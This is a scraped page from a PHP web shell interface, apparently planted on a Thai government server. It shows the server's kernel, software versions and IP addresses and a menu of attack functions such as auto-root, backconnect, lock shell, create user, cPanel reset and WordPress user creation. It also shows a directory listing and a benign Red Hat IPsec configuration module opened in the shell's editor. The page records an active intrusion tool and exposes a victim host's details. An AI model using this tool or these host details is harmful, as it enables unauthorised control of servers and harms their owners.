Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
system-config-network /
netconfpkg /
[ HOME SHELL ]
Name
Size
Permission
Action
conf
[ DIR ]
drwxr-xr-x
plugins
[ DIR ]
drwxr-xr-x
tui
[ DIR ]
drwxr-xr-x
Control.py
2.98
KB
-rw-r--r--
Control.pyc
2.13
KB
-rw-r--r--
Control.pyo
2.13
KB
-rw-r--r--
NCAliasList.py
387
B
-rw-r--r--
NCAliasList.pyc
1.03
KB
-rw-r--r--
NCAliasList.pyo
1.03
KB
-rw-r--r--
NCBackendHal.py
4.56
KB
-rw-r--r--
NCBackendHal.pyc
3.95
KB
-rw-r--r--
NCBackendHal.pyo
3.95
KB
-rw-r--r--
NCCallback.py
3.61
KB
-rw-r--r--
NCCallback.pyc
2.77
KB
-rw-r--r--
NCCallback.pyo
2.77
KB
-rw-r--r--
NCCompression.py
2.81
KB
-rw-r--r--
NCCompression.pyc
2.14
KB
-rw-r--r--
NCCompression.pyo
2.14
KB
-rw-r--r--
NCDevice.py
21.21
KB
-rw-r--r--
NCDevice.pyc
14.56
KB
-rw-r--r--
NCDevice.pyo
14.56
KB
-rw-r--r--
NCDeviceFactory.py
2.55
KB
-rw-r--r--
NCDeviceFactory.pyc
1.94
KB
-rw-r--r--
NCDeviceFactory.pyo
1.94
KB
-rw-r--r--
NCDeviceList.py
11.37
KB
-rw-r--r--
NCDeviceList.pyc
7.68
KB
-rw-r--r--
NCDeviceList.pyo
7.68
KB
-rw-r--r--
NCDialup.py
28.78
KB
-rw-r--r--
NCDialup.pyc
19.98
KB
-rw-r--r--
NCDialup.pyo
19.98
KB
-rw-r--r--
NCException.py
1.07
KB
-rw-r--r--
NCException.pyc
745
B
-rw-r--r--
NCException.pyo
745
B
-rw-r--r--
NCHardware.py
5.58
KB
-rw-r--r--
NCHardware.pyc
4.57
KB
-rw-r--r--
NCHardware.pyo
4.57
KB
-rw-r--r--
NCHardwareFactory.py
2.7
KB
-rw-r--r--
NCHardwareFactory.pyc
1.96
KB
-rw-r--r--
NCHardwareFactory.pyo
1.96
KB
-rw-r--r--
NCHardwareList.py
21.83
KB
-rw-r--r--
NCHardwareList.pyc
15.91
KB
-rw-r--r--
NCHardwareList.pyo
15.91
KB
-rw-r--r--
NCHost.py
1.63
KB
-rw-r--r--
NCHost.pyc
2.44
KB
-rw-r--r--
NCHost.pyo
2.44
KB
-rw-r--r--
NCHostsList.py
5.12
KB
-rw-r--r--
NCHostsList.pyc
4.2
KB
-rw-r--r--
NCHostsList.pyo
4.2
KB
-rw-r--r--
NCIPsec.py
9.6
KB
-rw-r--r--
NCIPsec.pyc
6.77
KB
-rw-r--r--
NCIPsec.pyo
6.77
KB
-rw-r--r--
NCIPsecList.py
5.14
KB
-rw-r--r--
NCIPsecList.pyc
4.32
KB
-rw-r--r--
NCIPsecList.pyo
4.32
KB
-rw-r--r--
NCProfile.py
2.17
KB
-rw-r--r--
NCProfile.pyc
3.07
KB
-rw-r--r--
NCProfile.pyo
3.07
KB
-rw-r--r--
NCProfileList.py
26.06
KB
-rw-r--r--
NCProfileList.pyc
14.86
KB
-rw-r--r--
NCProfileList.pyo
14.86
KB
-rw-r--r--
NCRoute.py
1.73
KB
-rw-r--r--
NCRoute.pyc
2.55
KB
-rw-r--r--
NCRoute.pyo
2.55
KB
-rw-r--r--
NCWireless.py
3.65
KB
-rw-r--r--
NCWireless.pyc
2.59
KB
-rw-r--r--
NCWireless.pyo
2.59
KB
-rw-r--r--
NC_functions.py
28.71
KB
-rw-r--r--
NC_functions.pyc
27.89
KB
-rw-r--r--
NC_functions.pyo
27.89
KB
-rw-r--r--
NCisdnhardware.py
12.96
KB
-rw-r--r--
NCisdnhardware.pyc
9.86
KB
-rw-r--r--
NCisdnhardware.pyo
9.86
KB
-rw-r--r--
__init__.py
1019
B
-rw-r--r--
__init__.pyc
259
B
-rw-r--r--
__init__.pyo
259
B
-rw-r--r--
exception.py
13.39
KB
-rw-r--r--
exception.pyc
12.1
KB
-rw-r--r--
exception.pyo
12.1
KB
-rw-r--r--
executil.py
1.34
KB
-rw-r--r--
executil.pyc
1.33
KB
-rw-r--r--
executil.pyo
1.33
KB
-rw-r--r--
gdt.py
11.46
KB
-rw-r--r--
gdt.pyc
10.71
KB
-rw-r--r--
gdt.pyo
10.71
KB
-rw-r--r--
ipcalc.py
2.83
KB
-rw-r--r--
ipcalc.pyc
3.13
KB
-rw-r--r--
ipcalc.pyo
3.13
KB
-rw-r--r--
log.py
3.34
KB
-rw-r--r--
log.pyc
4.11
KB
-rw-r--r--
log.pyo
4.11
KB
-rw-r--r--
transaction.py
9.63
KB
-rw-r--r--
transaction.pyc
8.24
KB
-rw-r--r--
transaction.pyo
8.24
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : NCIPsec.py
## Copyright (C) 2001-2005 Red Hat, Inc. ## Copyright (C) 2001-2005 Harald Hoyer <harald@redhat.com> ## This program is free software; you can redistribute it and/or modify ## it under the terms of the GNU General Public License as published by ## the Free Software Foundation; either version 2 of the License, or ## (at your option) any later version. ## This program is distributed in the hope that it will be useful, ## but WITHOUT ANY WARRANTY; without even the implied warranty of ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ## GNU General Public License for more details. ## You should have received a copy of the GNU General Public License ## along with this program; if not, write to the Free Software ## Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. import netconfpkg import os from netconfpkg.NC_functions import (_, getRoot, SYSCONFDEVICEDIR, generic_run_dialog, bits_to_netmask, ConfKeys, netmask_to_bits, rename) from netconfpkg.conf import ConfShellVar from netconfpkg.gdt import (Gdtstruct, gdtstruct_properties, Gdtstr, Gdtbool) class IPsec_base(Gdtstruct): gdtstruct_properties([ ('IPsecId', Gdtstr, "Test doc string"), ('Address', Gdtstr, "Test doc string"), ('ConnectionType', Gdtstr, "Test doc string"), ('EncryptionMode', Gdtstr, "Test doc string"), ('LocalNetwork', Gdtstr, "Test doc string"), ('LocalNetmask', Gdtstr, "Test doc string"), ('LocalGateway', Gdtstr, "Test doc string"), ('RemoteNetwork', Gdtstr, "Test doc string"), ('RemoteNetmask', Gdtstr, "Test doc string"), ('RemoteGateway', Gdtstr, "Test doc string"), ('RemoteIPAddress', Gdtstr, "Test doc string"), ('SPI_AH_IN', Gdtstr, "Test doc string"), ('SPI_AH_OUT', Gdtstr, "Test doc string"), ('SPI_ESP_IN', Gdtstr, "Test doc string"), ('SPI_ESP_OUT', Gdtstr, "Test doc string"), ('AHKey', Gdtstr, "Test doc string"), ('ESPKey', Gdtstr, "Test doc string"), ('IKEKey', Gdtstr, "Test doc string"), ('OnBoot', Gdtbool, "Test doc string"), ]) def __init__(self): super(IPsec_base, self).__init__() self.IPsecId = None self.Address = None self.ConnectionType = None self.EncryptionMode = None self.LocalNetwork = None self.LocalNetmask = None self.LocalGateway = None self.RemoteNetwork = None self.RemoteNetmask = None self.RemoteGateway = None self.RemoteIPAddress = None self.SPI_AH_IN = None self.SPI_AH_OUT = None self.SPI_ESP_IN = None self.SPI_ESP_OUT = None self.AHKey = None self.ESPKey = None self.IKEKey = None self.OnBoot = None class ConfIPsec(ConfShellVar.ConfShellVar): def __init__(self, name): ConfShellVar.ConfShellVar.__init__(self, getRoot() + SYSCONFDEVICEDIR + 'ifcfg-' + name) self.chmod(0644) class IPsec(IPsec_base): keyid = "IPsecId" boolkeydict = { 'OnBoot' : 'ONBOOT', } ipsec_entries = { "LocalNetwork" : "SRCNET", "LocalGateway" : "SRCGW", "RemoteNetwork" : "DSTNET", "RemoteGateway" : "DSTGW", "RemoteIPAddress" : "DST", "OnBoot" : "ONBOOT", "SPI_AH_IN" : "SPI_AH_IN", "SPI_AH_OUT" : "SPI_AH_OUT", "SPI_ESP_IN" : "SPI_ESP_IN", "SPI_ESP_OUT" : "SPI_ESP_OUT", } key_entries = { "AHKey" : "KEY_AH", "ESPKey" : "KEY_ESP", "IKEKey" : "IKE_PSK", } def __init__(self): super(IPsec, self).__init__() self.oldname = None def load(self, name): # load ipsec # pylint: disable-msg=W0201 conf = ConfIPsec(name) for selfkey in self.ipsec_entries.keys(): confkey = self.ipsec_entries[selfkey] if conf.has_key(confkey): setattr(self, selfkey, conf[confkey] or None) for selfkey in self.boolkeydict.keys(): confkey = self.boolkeydict[selfkey] if conf.has_key(confkey): if conf[confkey] == 'yes': setattr(self, selfkey, True) else: setattr(self, selfkey, False) elif not self.__dict__.has_key(selfkey): setattr(self, selfkey, False) conf = ConfKeys(name) for selfkey in self.key_entries.keys(): confkey = self.key_entries[selfkey] if conf.has_key(confkey): setattr(self, selfkey, conf[confkey] or None) if conf.has_key("IKE_PSK") and conf["IKE_PSK"]: self.EncryptionMode = "auto" else: self.EncryptionMode = "manual" if not self.IPsecId: self.IPsecId = name if self.LocalNetwork: vals = self.LocalNetwork.split("/") if len(vals) >= 1: self.LocalNetwork = vals[0] self.LocalNetmask = bits_to_netmask(vals[1]) if self.RemoteNetwork: vals = self.RemoteNetwork.split("/") if len(vals) >= 1: self.RemoteNetwork = vals[0] self.RemoteNetmask = bits_to_netmask(vals[1]) self.ConnectionType = "Net2Net" else: self.ConnectionType = "Host2Host" self.oldname = self.IPsecId self.commit() self.setunmodified() def save(self): # FIXME: [163040] "Exception Occurred" when saving # fail gracefully, with informing, which file, and why # Just to be safe... os.umask(0022) self.commit() if self.oldname and (self.oldname != self.IPsecId): for prefix in [ 'ifcfg-', 'keys-' ]: rename(getRoot() + SYSCONFDEVICEDIR + \ prefix + self.oldname, getRoot() + SYSCONFDEVICEDIR + \ prefix + self.IPsecId) # save ipsec settings conf = ConfIPsec(self.IPsecId) conf.fsf() conf["TYPE"] = "IPSEC" conf["DST"] = self.RemoteIPAddress if self.ConnectionType == "Net2Net": conf["SRCNET"] = self.LocalNetwork + "/" + \ str(netmask_to_bits(self.LocalNetmask)) conf["DSTNET"] = self.RemoteNetwork + "/" + \ str(netmask_to_bits(self.RemoteNetmask)) conf["SRCGW"] = self.LocalGateway conf["DSTGW"] = self.RemoteGateway else: for key in ["SRCNET", "DSTNET", "SRCGW", "DSTGW"]: del conf[key] if self.EncryptionMode == "auto": conf["IKE_METHOD"] = "PSK" else: del conf["IKE_METHOD"] spi_entries = { "SPI_AH_IN" : "SPI_AH_IN", "SPI_AH_OUT" : "SPI_AH_OUT", "SPI_ESP_IN" : "SPI_ESP_IN", "SPI_ESP_OUT" : "SPI_ESP_OUT" } for selfkey in spi_entries.keys(): confkey = spi_entries[selfkey] if hasattr(self, selfkey): conf[confkey] = getattr(self, selfkey) else: conf[confkey] = "" for selfkey in self.boolkeydict.keys(): confkey = self.boolkeydict[selfkey] if hasattr(self, selfkey): conf[confkey] = 'yes' else: conf[confkey] = 'no' conf.write() conf = ConfKeys(self.IPsecId) conf.fsf() for selfkey in self.key_entries.keys(): confkey = self.key_entries[selfkey] if hasattr(self, selfkey): conf[confkey] = getattr(self, selfkey) else: del conf[confkey] conf.write() # self.oldname = self.IPsecId def activate(self, dialog = None): command = '/sbin/ifup' param = [command, self.IPsecId, "up"] try: (ret, msg) = generic_run_dialog(\ command, param, catchfd = (1, 2), title = _('IPsec activating...'), label = _('Activating IPsec connection %s, ' 'please wait...') % (self.IPsecId), errlabel = _('Cannot activate ' 'IPsec connection %s!\n') % (self.IPsecId), dialog = dialog) except RuntimeError, msg: ret = -1 return ret, msg def deactivate(self, dialog = None): command = '/sbin/ifdown' param = [command, self.IPsecId, "down"] try: (ret, msg) = generic_run_dialog(\ command, param, catchfd = (1, 2), title = _('IPsec deactivating...'), label = _('Deactivating IPsec connection %s, ' 'please wait...') % (self.IPsecId), errlabel = _('Cannot deactivate ' 'IPsec connection %s!\n') % (self.IPsecId), dialog = dialog) except RuntimeError, msg: ret = -1 return ret, msg netconfpkg.IPsec = IPsec
Close